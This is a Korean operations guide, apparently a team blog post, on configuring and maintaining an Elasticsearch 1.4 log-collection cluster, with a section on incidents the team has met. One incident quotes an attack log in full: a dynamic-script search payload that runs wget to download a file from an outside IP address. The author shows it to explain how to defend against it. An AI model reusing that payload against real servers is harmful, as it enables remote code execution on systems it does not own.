Production 환경 구성하기

본 문서는 Elasticsearch를 로그 수집기로 사용할 경우에 클러스터를 구성하고 인덱싱 위주의 설정을 하는 데에 중점을 두고 있다. 로그를 전달하는 Logstash류의 기술이나 수집한 로그의 사용에 관한 부분은 포함하지 않고 있다.
Elasticsearch를 실전에서 사용할 경우, 특히나 단위시간당 로그 수집량이 꽤 많을 것이라 예상된다면 노드 한 대 짜리 클러스터로는 부족할 것이고,각 노드의 Elasticsearch 실행도 기본 설정 만으로는 부족한 부분이 많을 것이다. 노드 몇 대 짜리 클러스터를 구성해야 할 지, 인덱스는 일별, 주별 어떤 단위로 쌓을 것인지 등등을 미리 고민하여 적절한 클러스터를 구성하고 알맞은 설정을 할 필요가 있다.


하드웨어 준비

어떤 서버를 몇 대나 사용할 것인지를 정하기 위해서, 쌓게 될 데이터의 양과 보관할 기간을 예측해야한다. 또한 각 하드웨어의 구성요소가 Elasticsearch에서 어떻게 사용되는 지를 아는 것도 도움이 될 것이다.

- INPUT

단위시간 당 로그의 양은 인덱싱에 영향을 주는 부분이므로 CPU와 메모리 등의 결정에 필요하다.

서버 사양의 정확한 결정을 위해서는 준비된 단위서버에서 받을 수 있는 최대치를 확인하고 차츰 늘려가는 방식을 사용할 수 있다.
다만, 현실적 이유로 우리 팀은 여유있게 클러스트를 우선 구성하고 차츰 줄여가는 방식을 사용했다.

로그를 며칠 분을 쌓을 것인지 정하는 것은 디스크 사양을 결정하는 데 도움이 된다.

클러스터의 총 데이터 양은 replica까지 고려해야 한다.  
예를 들어, replica 하나를 사용하게 되면 실제 받는 데이터의 두 배가 총 예측 데이터 양이 된다.
- 메모리

Elasticsearch에서 가장 중요한 하나만 꼽으라면 바로 메모리이다.

  • 권장 크기 : 16GB~64GB.

    • 일반적으로 서버 전체메모리의 반을 Elasticsearch에서 사용할 JVM Heap에 할당하는 것이 권장된다.

    • 메모리야 많을 수록 좋겠지만 JVM이 사용하는 트릭(compressed oops)이 32GB 아래에서 사용되는 제약이 있어서 그 두 배인 64GB의 최대 권장값을 가지게 되었다.

  • 메모리 64GB 이상의 아주 좋은 서버를 사용하게 되었을 경우,

    • 한 서버에서 여러 노드를 구성한다.

    • 로그 수집기가 아닌, full-text 검색을 많이 하는 시스템일 경우 Elasticsearch에는 max값인 64GB만 할당하고 나머지는 OS cache에 사용되도록 한다.

- CPU

더 빠른 속도와 더 많은 core 사이에서 갈등이 되는 상황이라면, multicore가 주는 concurrency가 더 이점이 많다고 볼 수 있다.

- 디스크

로그 수집기로서의 Elasticsearch는 indexing-heavy type이기때문에 디스크가 두 배로 중요하다.

  • SSD가 spinning disk보다 좋다. (하지만, 우리 팀은 가격과 AWS resource 제한의 압박으로;;;)

  • (노드 하나 당 디스크의 크기) = (보관 기간 동안의 데이터 총량) * (index.number_of_replicas + 1) / (노드 수)

  • RAID를 구성할 때는 RAID0 로 하는 것이 좋다.

    • 인덱싱(쓰기) 성능이 좋아진다.

    • High availability는 Elasticsearch의 자체 replica로 해결 가능하다.

    • 설정에서 path.data를 여러 개 지정해서 software raid를 사용할 수도 있다. path.data: /mnt/first,/mnt/second 또는 path.data: ["/mnt/first", "/mnt/second"]

  • NAS는 되도록 피한다. (느리고, SPOF이다.)

- 네트웍
  • multicast vs. unicast

    multicate가 기본 설정인데, 노드 간에 cluster.name이 일치하는 서로를 UDP ping을 통해 알아서 찾기 때문에 편리한 점이 있지만, 동시에 그것이 단점이 되기도하므로 개발용에서만 적합하다.
    즉, 안정된 production 환경의 클러스터에 원치 않는 노드의 추가로 불필요한 샤드 rebalancing이 일어나고 예기치 않은 성능 감소가 발생할 수 있다. 자동화가 만능은 아니다.
    production에서는 unicast를 쓰도록 discovery.zen.ping.multicast.enabled: false로 끄고 노드 추가시마다 discovery.zen.ping.unicast.hosts: ["host1", "host2:port"]와 같은 형식으로 클러스터에 있는 host 정보를 하나 이상 입력하여 클러스터에 포함되도록 한다.

  • 노드 간의 통신이 빨라야 하는 것은 기본이므로 한 클러스터의 노드들을 여러 data center에 배치하지 않는 것이 좋다.

- 클러스터
  • scale-up vs. scale-out
    기본적으로는 scale-out이 Elasticsearch의 지향점과 더 맞다.
    너무 좋은 서버는 리소스의 낭비가 크고 확장성 면에서도 유연함이 떨어지기 때문이다.
    하지만, 너무 가벼운 서버는 수천대가 필요할 수도 있다.
    결론은, 적당한 성능을 잘 선택하라는 이야기 (말이 쉽지)
    

각 노드에 Elasticsearch 설치

(설명은 ubuntu 12.04 기준)

  • Java 7 이상 설치 : oracle jdk나 openjdk 모두 상관은 없는데, oracle jdk는 debian계열 패키지 공식 지원을 끊었다. (공식 문서 상으로는 Java 8 update 20 or later, or Java 7 update 55 or later 를 추천)

    sudo apt-get update
    sudo apt-get install -y openjdk-7-jdk
    
  • Elasticsearch 최신버전 설치 (현재시점 1.4.2)

    wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.4.2.deb
    sudo dpkg -i elasticsearch-1.4.2.deb
    
  • /etc/init.d/elasticsearch 수정 권장 항목

    Elasticsearch 실행을 위한 OS 환경설정을 도와주는 옵션이다. 서버 재시작 시에도 Elasticsearch가 자동으로 실행되도록 하려면 아래와 같이 서비스 등록을 한다.
    sudo update-rc.d elasticsearch defaults 95 10

    ES_HEAP_SIZE=16g  
    # 위의 메모리 부분에서 언급했듯이 서버 메모리의 반을 할당하는 것이 권장된다.
    
    MAX_LOCKED_MEMORY=unlimited  
    # 메모리 스왑 방지를 위해 `bootstrap.mlockall: true` 설정을 하는 경우 이 값을 unlimited로 주어야 한다.
    
    MAX_MAP_COUNT=262144  
    # `default 65535` : 너무 작은 값은 out of memory exception을 내기 쉽다.  
    # deb 패키지로 설치한 경우에는 262144가 기본으로 잡혀있다.
    
  • /etc/elasticsearch/elasticsearch.yml 수정 권장 항목

    아래 나열된 항목 외에도 상황에 맞게 설정이 필요한 부분이 많다. 많은 설정값은 cluster settings update APIindex settings update API를 통해 서버 재시작이 필요 없는 dynamic update가 가능하기도 하다.

    cluster.name: test_cluster
    # 지정한 이름으로 노드들이 뭉치게 된다.  
    # 설정하지 않으면 기본 설정으로 Elasticsearch를 띄우는 모든 노드가 의도치않게 같이 묶일 수 있다.
    
    node.name: test_node01  
    # 설정하지 않으면 Elasticsearch가 적당한 이름을 지어주지만, 내 노드 이름은 내가 지어주도록 하자.
    
    node.max_local_storage.nodes: 1  
    # 기본적으로 Elasticsearch 프로세스 수 만큼 같은 서버에서 여러 노드를 띄울 수 있다.  
    # production에서는 이 값을 1로 주어 한 서버에 하나의 노드만 띄우도록 한다.
    
    path.data: /mnt/elasticserach/data  
    # 각 샤드의 파일들이 저장될 위치를 지정한다.  
    # 위의 디스크 부분에서 언급했듯이 여러개를 지정해서 software RAID0 처럼 이용할 수 있다.
    
    path.logs: /mnt/elasticsearch/log  
    # 로그 역시 기본 저장 위치를 변경할 수 있다.  
    # 기본적으로 날짜별로 로그가 나뉘어지기는 하나 rotating이 되지는 않는다.  
    # 디스크 공간을 위해서는 오래된 로그를 지워줄 필요가 있다.
    
    bootstrap.mlockall: true  
    # 메모리 swap 방지를 위한 매우 중요한 옵션이다.  
    # 아래 api 호출로 설정이 잘 되었는지 확인할 수 있다.  
    # >> curl localhost:9200/_nodes/process?pretty
    # 확인 결과 false 로 나온다면 max locked memory 값이 작기 때문일 것이다.  
    # >> ulimit -l unlimited  
    # 처럼 OS에서 직접 설정 할 수도 있고, 위에서 언급했듯이 /etc/init.d/elasticsearch 에서 MAX_LOCKED_MEMORY 값을 unlimited로 설정해서 실행하는 것으로 해결할 수 있다.
    
    http.port: 12345  
    # 기본값은 9200이고, 꼭 바꿀 필요는 없다.   
    # 우리 팀에서 최근에 새로 구성한 클러스터에서는 임의의 값으로 port를 바꿨다.  
    # dynamic scripting을 이용한 공격성 _search 요청에 대한 회피의 목적으로 알려진 9200 포트를 사용하지 않으려는 의도인데, 자세한 내용은 Security 관련 섹션에서 다루기로 한다.
    
    discovery.zen.ping.multicast.enabled: false  
    # production에서는 multicast의 단점이 많으니 false로 끄고 unicast를 사용하도록 한다.
    
    discovery.zen.ping.unicast.hosts: ["host1", "host2:port"]  
    # unicast에서는 클러스터를 찾기 위해 적어도 하나의 노드에 대한 host 정보를 입력한다.  
    # 첫 노드일 경우에는 입력하지 않아도 된다.
    
    action.auto_create_index: true  
    # [create index API](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-create-index.html)를 사용해서 인덱스를 생성하지 않았더라도 첫 document를 받을 때 자동으로 인덱스를 만들어주는 옵션이다. 기본값은 켜져 있다.
    
    index.mapper.dynamic: true  
    # [put mapping API](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/indices-put-mapping.html)를 사용하지 않았더라도 자동으로 field type mapping을 만들어주는 옵션이다. 기본값은 켜져 있다.
    
    action.disable_delete_all_indices: true  
    # >> curl -XDELETE 'http://localhost:9200/_all/'  
    # 를 통해 모든 인덱스를 삭제하는 것을 막는다.
    
    indices.fielddata.cache.size: 75%  
    # fielddata cache는 주로 sorting이나 aggregation에 사용된다.  
    # 이 작업은 모든 field value가 메모리에 올라가게 되므로 꽤 expensive하여 `기본값은 unbounded`로 설정되어있다.
    # 하지만 이 값이 아래의 indices.breaker.fielddata.limit 보다 크게 되면 너무 큰 데이터 작업 시에 CircuitBreakingException이 발생하게 된다.
    # 또한, 이 값은 서버 재시작을 해야 적용이 되므로 처음에 띄울 때 적절한 값을 줄 필요가 있다.
    # 75% 라고 정하면 JVM heap의 75%를 의미하게 되고, 절대값으로 12GB 처럼 줄 수도 있다.
    
    indices.fielddata.cache.expire: -1
    # fielddata cache 만료를 5m과 같은 식으로 지정해 줄 수 있는 옵션인데 기본값은 -1로 사용하지 않는 것으로 설정되어있다.
    # 공식 문서에서는 이 옵션은 끔찍한 성능 저하만 주는 절대 사용하지 말아야 할 옵션으로 규정하고 있다. 사용하지 말자.
    
    indices.breaker.fielddata.limit: 77%
    # circuit breaker는 OutOfMemory Error를 막기 위해 메모리를 얼만큼 사용할 지를 정의하는 기능이다.
    # 1.4.0beta1 이전에는 fielddata circuit breaker만 있었으나 이후에 request circuit breaker가 추가되었다.
    # `기본값은 60%`이고, indices.fielddata.cache.size 보다 크도록 설정해야한다.
    
    indices.breaker.request.limit: 50%
    # request circuit breaker는 request마다 aggregation 등의 data structure가 사용할 메모리의 양을 제한하는 기능이다.
    # Elasticsearch의 heap은 바로 위의 fielddata와 이 request circuit breaker, 그 외에 인덱싱 메모리 버퍼, filter cache, 열려있는 인덱스에 사용되는 Lucene data structure 등등 다양한 요소와 공유가 되므로 이 circuit breaker limit에 적당한 값을 설정할 필요가 있다.
    # 과도하게 높게 잡으면 잠재적 OOM exception을 동반한 시스템 다운을 만날 수 있고, 너무 낮게 잡으면 쿼리가 실패할 확률이 높아진다. 물론, 시스템 다운보다는 쿼리 실패가 낫기 때문에 보수적인 설정으로 시작하는 것이 좋다.
    # `기본값은 40%`이다.
    
    indices.breaker.total.limit: 80%
    # 이 값은 fielddata와 request circuit breaker를 합쳐서 제한을 거는 기능이다.
    # `기본값은 70%`이다.
    
    cluster.routing.allocation.disk.watermark.low: 90%
    # 디스크 용량 기반으로 shard allocation을 도와주는 설정이다.
    # 디스크 사용량이 설정값을 넘으면 해당 노드에는 shard를 allocation하지 않는다.
    # `기본값은 85%`이다. 절대값으로 500mb 처럼 설정할 수도 있는데, 이 때에는 남은 디스크 용량을 의미한다.
    
    cluster.routing.allocation.disk.watermark.high: 95%
    # 디스크 사용량이 설정값을 넘어가면 해당 노드의 샤드를 다른 노드로 relocation한다.
    # `기본값은 90%`이다. 마찬가지로 절대값으로 정할 경우는 남은 용량 기준이 된다.
    
    cluster.routing.allocation.balance.shard: 0.1
    # 클러스터의 shard balancing 관련 옵션중 하나이다.
    # 이 값이 커지면 모든 노드에 샤드의 개수를 균등하게 분배하려는 경향이 강해진다는 것을 의미한다. 즉, 가중치 값이다.
    # `기본값은 0.45`이다.
    
    cluster.routing.allocation.balance.index: 0.9
    # 역시 가중치 인자로서 이 값이 커지면 각 인덱스에서 샤드의 개수를 균등하게 분배하려는 경향이 강해진다는 것을 의미한다.
    # 이 값은 바로 위의 cluster.routing.allocation.balance.shard와 합해서 1.0이 되어야 한다.
    # `기본값은 0.55`이다.
    
    cluster.routing.allocation.balance.primary: 0.0
    # 이 값은 Elasticsearch 1.3.8에서 deprecated 되었다.
    
    cluster.routing.allocation.balance.threshold: 0.8
    # balancing action이 일어나도록 하는 threshold 값이다. 작을수록 balancing이 일어날 확률이 높아진다.
    # `기본값은 1.0`이다.
    
    cluster.routing.allocation.cluster_concurrent_rebalance: 2
    # shard rebalancing이 동시에 몇 개 까지 허용되는 지를 결정하는 값이다.
    # `기본값은 1`이다. 제한을 없애려면 -1 을 준다.
    
    indices.store.throttle.max_bytes_per_sec: 20mb
    # 초당 설정값을 넘는 용량의 segemnt merge는 일어나지 않도록 throttle 시키는 옵션이다.
    # `기본값은 20mb`인데, spinning disk 기준이므로 SSD를 사용하고 있다면 100~200mb 정도로 늘려주는 것이 좋다.
    
    index.merge.scheduler.max_thread_count: 1
    # 인덱스 당 동시에 디스크에 access할 수 있는 thread의 수이다.
    # `기본값은 Math.min(3, Runtime.getRuntime().availableProcessors() / 2)`이다.
    # 기본값은 SSD로 구성된 시스템에 권장되고, spinning disk를 사용할 경우에는 concurrent I/O에 취약하므로 값을 1로 줄여주는 것이 좋다.
    
    index.translog.flush_threshold_size: 1GB
    # translog에 설정값 이상이 쌓이면 flush된다.
    # `기본값은 200MB`인데, 덜 자주 flush되도록 값을 늘려주면 인덱싱 성능에 도움이 된다.
    
    http.cors.enabled: true
    # cross-origin resource sharing 관련 옵션이다.
    # Elasticsearch 1.4 이상에서는 `기본값이 false`이므로, Kibana를 사용할 예정이라면 이 옵션을 켜준다.
    
    http.cors.allow-origin
    # resource sharing을 허용할 origin을 지정한다.
    # `기본값은 /.*/`이고 origin을 제한하기 위해서는 /https?:\/\/localhost(:[0-9]+)?/ 이런 식으로 regular expression을 용도에 맞게 만들어주면 된다.
    

유지보수

설치가 잘 끝난 후에 필요한 작업들을 알아본다.

- GUI

기본적으로 서버가 실행 된 것은 curl 'http://localhost:9200' 으로 확인할 수 있다. 더불어 노드나 클러스터의 상태를 확인하는 API로 더 자세한 정보를 확인 할 수도 있다. 하지만 GUI가 있다면 훨씬 많은 도움이 될 것이다.

  1. elasticsearch-head

    http://mobz.github.io/elasticsearch-head/
    대부분의 기능을 GUI를 통해 쉽게 사용할 수 있는 web frontend tool이다.
    Elasticsearch의 plugin으로 설치할 수도 있고, 웹서버에 index.html을 물려서 stand-alone으로 사용할 수도 있다.

    • plugin

      download 필요 없이 elasticsearch/bin/plugin -install mobz/elasticsearch-head라는 명령 한 줄이면 설치가 되지만, Elasticsearch API 도메인과 포트를 공유하게 되기 때문에 보안 설정이 된 환경이라면 방화벽 내에서만 실행이 가능하게 된다.

    • stand-alone

      조금 불편하더라도 클러스터 외부 서버에서 웹서버를 사용해 물리면 접속 인증이나 접근 제한 등 다양한 보안 설정을 하기 쉽고, 도메인 설정도 간편해진다.

  2. Marvel

    http://www.elasticsearch.org/overview/marvel
    elasticsearch-head보다 고급스러운, Elasticsearch에서 직접 만든 plugin이다. Kibana3 UI와 유사한 Dashboard를 통해 클러스터의 하드웨어 상황까지 더 예쁘고 자세하게 확인할 수 있다.
    다만, Production license는 유료로 구매를 해야 한다.
    Marvel용 메트릭 등의 데이터는 역시 Elasticsearch에 저장하게 되므로 개발용으로 사용할 때에는 Marvel용 클러스터를 따로 구성해야한다. (하루 치 Marvel용 인덱스 양만해도 상당해서 디스크 공간이 꽤 필요하다.)

한 줄 요약,
elasticsearch-head를 stand-alone으로 설치하고 웹서버에서 basic auth 정도라도 걸자.

- Rolling restart

장애 상황이거나 Elasticsearch 버전업, 또는 dynamic setting update가 불가능한 설정의 변경이 필요할 경우 등 클러스터를 재시작해야 할 경우가 종종 있다.
일반적으로 동작상에 주는 영향을 최소화하도록 다음과 같은 순서가 권장된다.

  1. shard reallocation 끄기

    curl -XPUT localhost:9200/_cluster/settings -d '{
            "transient" : {
                "cluster.routing.allocation.enable" : "none"
            }
    }'
    

    꼭 필요한 작업은 아니지만 이걸 끄지 않으면 노드가 클러스터에서 빠졌다가 다시 붙을 때마다 shard reallocation이 일어나서 불필요한 I/O 낭비, 시간 낭비가 발생한다.

  2. 노드 하나 shutdown

    curl -XPOST 'http://localhost:9200/_cluster/nodes/nodeId1/_shutdown'
    

    혹시, dedicated master node(즉, node.data: false이고 node.master: true인 노드)가 있다면 다른 노드들보다 먼저 끄도록 한다.

  3. 필요한 작업 수행

    설정 변경이나 Elasticsearch 버전업 등 필요한 작업을 하고 서버를 다시 띄운다.

  4. shard reallocation 다시 켜기

    다시 띄운 노드가 클러스터에 합류된 것을 확인한 후, 1번을 수행했었다면 reallocation을 다음과 같이 다시 켜준다.

    curl -XPUT localhost:9200/_cluster/settings -d '{
            "transient" : {
                "cluster.routing.allocation.enable" : "all"
            }
    }'
    
  5. 기다리기

    모든 shard가 모든 노드에 배치되기를 기다린다.

  6. 반복

    남은 노드들에 1~5를 반복한다.

major version을 업그레이드 할 경우에는 rolling restart로는 안되고 전체 클러스터를 내린 후 버전을 올려서 다시 실행하는 full cluster restart가 필요하다.

- Dynamic setting

cluster와 index의 여러 옵션 중에는 서버 실행중에 API를 통해 dynamic하게 설정 변경을 할 수 있는 경우가 많다. 그런 이유로 서버 시작 시 elasticsearch.yml을 통해 충분히 적용을 못 한 부분이 있다면 어느 정도는 서버 재시작 없이 튜닝이 가능하다. 또한, 클러스터에 노드가 추가될 때마다 변경이 필요한 설정들도 있다.

  • persistent vs. transient

    클러스터 설정 시에는 아래 예제처럼 persistent나 transient를 지정할 수 있는데, persistent는 full cluster restart가 되어도 변하지않고 노드의 elasticsearch.yml보다도 우선하도록 하는 설정이다. transient는 노드의 재시작 시에는 풀리지 않지만 full cluster restart가 되면 elasticsearch.yml의 설정값이나 default 값으로 돌아가게 된다.

    curl -XPUT localhost:9200/_cluster/settings -d '{
        "persistent" : {
            "discovery.zen.minimum_master_nodes" : 2 
        },
        "transient" : {
            "indices.store.throttle.max_bytes_per_sec" : "50mb" 
        }
    }'
    
  • Split-brain

    마스터 노드 선출에 문제가 생겨 마스터가 둘이 되면서 데이터가 갈려버리는 현상이다. 예를 들어 두 개의 노드로 구성된 클러스터에서 서버는 정상인데 서로의 connection이 끊어졌을 경우 마스터가 아니었던 노드도 상대가 연결이 끊어졌으니 스스로를 마스터로 선출하면서 두 노드가 각각의 클러스터로 갈려버리게 되는 것이다. 이 때에 같은 이름의 인덱스에서 데이터가 갈라진 것이 되므로 복구를 하게 되어도 한 쪽은 포기를 해야한다.
    이 현상을 피하기 위해서 가장 중요한 옵션은 discovery.zen.minimum_master_nodes이다. 기본값은 1인데, 보통은 (클러스터 노드 수)/2 + 1의 값이 권장된다.
    여기서 노드 두 개 짜리 클러스터의 경우, discovery.zen.minimum_master_nodes: 2(2/2 + 1 = 2)로 설정하면 split-brain은 피할 수 있겠으나 서로 연결이 끊어진 경우 각자가 스스로 마스터가 되지 못하므로 클러스터 자체의 장애 상황이 된다.
    그러므로 가장 좋은 해결책은 클러스터를 노드 두 개로 구성하지 않는 것이다. 하드웨어의 부담이 있다면 노드 하나는 node.data: false로 주어 마스터 선출에만 참여할 수 있도록 한다.

- Template

로그 수집용으로 time-series 인덱스가 생성되는데 미리 create API를 사용할 때 인덱스 setting이나 mapping을 적절히 적용하도록 시스템을 구현할 수도 있지만, template을 미리 정의하여 같은 규칙을 갖는 인덱스의 설정을 공유하도록 할 수도 있다.

  • Sample

    curl -XPUT http://localhost:9200/_template/template_sample -d '
    {
       "template" : "sample-*",
       "order" : 1,
       "settings" : {
           "number_of_shards" : 6,
           "number_of_replicas" : 1
       },
       "mappings" : {
           "_default_" : {
               "_source" : { "enabled" : true },
               "_ttl" : { "enabled" : true, "default" : "4w" }
           },
           "test01" : {
               "numeric_detection": "true",
               "properties" : { 
                 "host" : {"type": "string", "index": "not_analyzed"},
                 "ip" : {"type": "string", "index": "not_analyzed"},
                 "msg" : {"type": "string", "index": "not_analyzed", "doc_values": true}
               }
           }
       }
    }
    '
    
    • 'sample-'의 prefix를 갖는 인덱스가 생성될 때에는 위의 설정과 mapping scheme가 적용된다.
    • 만약 여러 템플릿이 하나의 노드에 겹쳐서 적용되게 될 경우, order 값이 높은 템플릿이 낮은 것을 overwrite한다.
    • number_of_shards 값은 인덱스가 생성되면 변경이 불가능하므로 잘 정의해 줄 필요가 있다.
    • mappings는 type별로 구분이 된다. type은 RDBMS의 table이라고 생각하면 된다.
    • _default_는 모든 type에 적용되는 설정이다.
    • _source를 끄면 인덱싱 될 때의 실제 JSON 값을 저장하지 않는다. 저장 공간이 더 소모될지라도 Kibana에서 데이터 확인을 편하게 하기 위해 우리 팀은 _source 값은 켠다.
    • _ttl은 지정한 기간이 지난 document를 삭제하는 기능이다. 인덱스의 모든 document가 지워져도 인덱스가 지워지지는 않는다.
    • 웬만한 string type의 field는 not_analyzed로 설정하는 것이 좋다. 우리는 검색 시스템이 아니라 로그 수집 시스템을 구축한 것이므로 searching보다 indexing이 중요하다.
    • analyzed string field는 terms aggregation 쿼리를 할 경우 원치 않는 결과가 나올 수 있다.
    • doc_values를 true로 주면 그 field는 fielddata cache를 memory를 쓰지 않고 disk를 사용하게 된다.
- Large data import

많은 데이터를 한꺼번에 넣을 때에는 _bulk request를 사용한다. 이 때에 _bulk request 한 번에 넣을 데이터의 양을 적절히 주는 것이 중요하다. 10MB 정도부터 차츰 늘리면서 넣어보는 것이 좋다. 결국 그 request data가 메모리에 올라가게 되므로 너무 크지 않은 데이터 묶음을 주는 것도 중요하지만 클러스터의 한 노드에만 요청이 몰리지 않도록 하는 것도 매우 중요하다.
그 외에 인덱싱 성능을 높일 수 있는 다양한 옵션들을 알아본다.

  • index.number_of_replicas: 0 데이터를 모두 넣은 후에 replica 수를 조절한다.

  • indices.store.throttle.type: none segment merging이 리소스를 모두 써버리면 searching이 안되기 때문에 throttle이 있는 것인데, 일단 search는 필요없는 상황이라면 throttle type을 none으로 껐다가 데이터 import 후에 merge로 돌리는 것으로 인덱싱 성능을 올릴 수 있다.

  • index.translog.flush_threshold_size: 1GB 위 권장 설정에서 튜닝한 값인데, flush 주기를 늘려서 인덱싱 성능을 향상시키는 데에 도움을 줄 수 있다.

  • index.refresh_interval: -1 기본값은 1s인데, refresh되지 않도록 껐다가 import가 끝나고 다시 켜면 인덱싱 성능에 도움이 된다. import가 끝난 후에는 optimize API를 사용해 segment merging을 시켜주도록 한다. optimize 하기 전에 index.number_of_replicas가 0인 것을 확인하는 것은 리소스 절약에 도움이 된다.

    curl -XPOST 'http://localhost:9200/test/_optimize?max_num_segments=5'
    
  • ID : document의 ID는 Elasticsearch가 자동 발급하도록 한다. 꼭 ID를 지정해서 넣을 필요가 있을 때에는 Lucene-friendly한 ID가 성능에 도움이 된다.

    • Lucene-friendly : consistent, sequential pattern으로 압축이 쉬운 ID. ex> zero-padded sequential ID, UUID-1, nanotime

    • Lucene-unfriendly : random ID. ex> UUID-4

- 인덱스 크기 유지

로그 수집 같은 time-series 인덱스를 사용하는 시스템에서는 인덱스 크기는 물론 개수가 무한히 늘어날 수 있으므로 과거의 인덱스를 삭제하여 클러스터의 인덱스 크기를 유지할 필요가 있다.

  • _ttl (TimeToLive)

    위 template 섹션에서도 나왔듯이 인덱스에서 지정한 기간이 지난 document를 삭제해주는 기능이다. 다만, 인덱스 자체가 지워지는 것은 아니기때문에 time-series 인덱스를 사용하는 시스템에서는 인덱스 목록 확인 시 많이 불편할 수 있다.

  • curator

    https://github.com/elasticsearch/curator/wiki
    time-series 인덱스의 관리를 편하게 해 주는 파이썬 도구이다. 여러 기능을 지원하는데, 우리의 목적인 오래된 인덱스를 삭제하는 예제는 다음과 같다.

    pip install elasticsearch-curator
    curator --host elasticsearch.example.com --port 9200 delete --older-than 15 --prefix sample-
    

    위 명령으로 'sample-'로 시작하는 15일이 지난 인덱스가 삭제된다.


장애발생! 장애발생!

그동안 함께했던 장애들을 공유한다.

- 디스크 부족

비정상적인 상황으로 debug 로그가 급속도로 쌓이면서 디스크를 모두 소비했는데, 해당 디스크를 Elasticsearch 데이터도 함께 쓰고 있던 상황이라 장애가 커졌다.
디스크 관련 발생 가능한 다양한 이슈 중 하나는 tranlog가 망가져 디스크 부족이 해결돼도 서버 재시작 시 샤드 복구가 안 되는 것이다.
클러스터의 정상화가 중요하므로 해당 데이터는 포기하고 데이터 폴더에서 translog 파일을 지우는 것으로 해결했다.

- 메모리 부족
Caused by: org.elasticsearch.common.util.concurrent.UncheckedExecutionException: org.elasticsearch.common.breaker.CircuitBreakingException: Data too large, data for field [LAST_UPDATED] would be larger than limit of [11270435635/10.4gb]

fielddata curcuit breaker와 cache 설정의 문제이다. 기본 설정값은 indices.fielddata.cache.size: unbounded인데 이 값이 indices.breaker.fielddata.limit보다 크면 heap이 해소가 안되기때문에 cache size를 변경해주어야한다. dynamic setting update가 불가능하므로 서버를 재시작 할 필요가 있다.
참고로, cache size가 너무 작으면 그만큼 메모리에 올라갈 수 있는 field 값이 적어진다는 얘기이므로 search가 느려질 것이다.

- 특정 노드 부하

적절한 클러스터 restart가 되지 않아 primary shard가 특정 노드에 매우 적게 배치될 수 있다. 그러면 다음날 새 인덱스가 생성될 때 특정 노드로 primary shard가 몰리게되고, 결국 한 노드만 인덱싱하는데 CPU를 소비하고 나머지 노드들은 CPU가 일을 하지 않는 불균형이 생기게 된다는 것이다.
또한 노드 별 샤드 수 자체에 불균형이 생기면 역시 search 작업 시 메모리 사용에도 불균형이 생기게 된다. 디스크 공간도 마찬가지다.
이런 경우가 발생하면 shard balancing 관련 설정을 조정하고 threshold도 낮추어서 적절히 균형을 맞출 수 있도록 한다.
내일의 인덱스를 미리 생성해보는 것으로 샤드 밸런싱이 맞는 지 확인할 수 있다.
다음과 같이 직접 API를 통해 rerouting을 해줄 수도 있다.

curl -XPOST 'localhost:9200/_cluster/reroute' -d '{
    "commands" : [ 
        {
          "move" :
            {
              "index" : "test", "shard" : 0,
              "from_node" : "node1", "to_node" : "node2"
            }
        },
        {
          "allocate" : {
              "index" : "test", "shard" : 1, "node" : "node3"
          }
        }
    ]
}'

move는 특정 샤드를 노드 간 이동시키는 것이고, alloocate는 unasssigned shard를 특정 노드로 배치하는 것이다. 해당 작업을 취소하는 cancel 명령어도 있다.

- Dynamic script를 동반한 DoS 공격시도
Caused by: org.elasticsearch.search.SearchParseException: [test-2015.01.02][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/asdq http://183.56.173.23:1153/asdq\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

이런 식의 스크립트 실행 시도가 계속 들어온다. 기본적으로 Elasticsearch로 사용된다고 알려진 9200 포트로 공격 시도를 하는 듯 하다. 방화벽을 막던가 인증을 걸던가 포트를 바꾸는 등의 조치가 필요하다.
기본적으로 script.disable_dynamic: true이기 때문에 공격성 스크립트가 실행되지는 않겠지만 상당한 로그로 인해 자칫 디스크 full이 될 수 있다.

- NumberFormatException
Caused by: java.lang.NumberFormatException: For input string: "MD"

scheme-less 인덱스인 경우 dynamic type mapping에 의해 첫 데이터가 추가될 때 각 field의 type이 지정되게 되는데, 하필 string type인 필드의 첫 데이터 값이 숫자로만 된 경우에는 해당 field가 숫자로 mapping되게 된다. 이 때, 이후에 들어오는 문자열 값을 가진 document는 모두 위와 같은 NumberFormatException을 뱉으면서 데이터 추가에 실패하게된다.
이런 경우가 클러스터 중 하나의 노드에만 발생할 수 있고, 따라서 문제의 노드가 보유한 샤드에만 데이터 추가가 실패할 수도 있다. [관련 링크]
계속된 실패로 엄청난 양의 실패 로그가 쌓여서 또다른 문제가 될 수 있는데, 일단은 해당 노드의 샤드를 다른 노드로 옮기는 것으로 해결이 되었다. rebalancing에 의해 다른 노드의 샤드가 문제의 노드로 옮겨오게 되어도 더이상 로그는 쌓이지 않게 되었다.
궁극적인 해결책은 미리 mapping을 통해 scheme를 정의하는 것이다.

- URL is too long

https://github.com/elasticsearch/elasticsearch/issues/3210
링크와 유사한 에러가 발생하기도 했다. 인덱스 이름도 긴데 일별 인덱스를 한달치 묶어서 쿼리를 하는 경우 url에 각 인덱스가 comma로 구분되어 들어가다보니 url이 너무 길어져서 발생하는 에러이다.
그런 과도한 쿼리는 하지 말거나, http.max_initial_line_length 값을 늘려 주는 것으로 해결할 수 있다. 기본값은 4kb이다.

- Empty text

http://stackoverflow.com/questions/23778336/how-to-fix-this-code-exception-error-elasticsearch
링크처럼 java.lang.IllegalArgumentException: empty text에러도 위의 'URL is too long'과 같은 시점에 발생했는데 둘이 어떻게 연관된 에러인지는 아직 확실한 분석이 되지 않았다. 링크의 답변으로는 http인데 https로 요청을 했다거나, transport port가 아니라 http port로 요청을 한 경우에 발생한다고 한다.
우리는 'URL is too long'을 해결함으로써 같이 해결이 되었다.

Shorel'aran~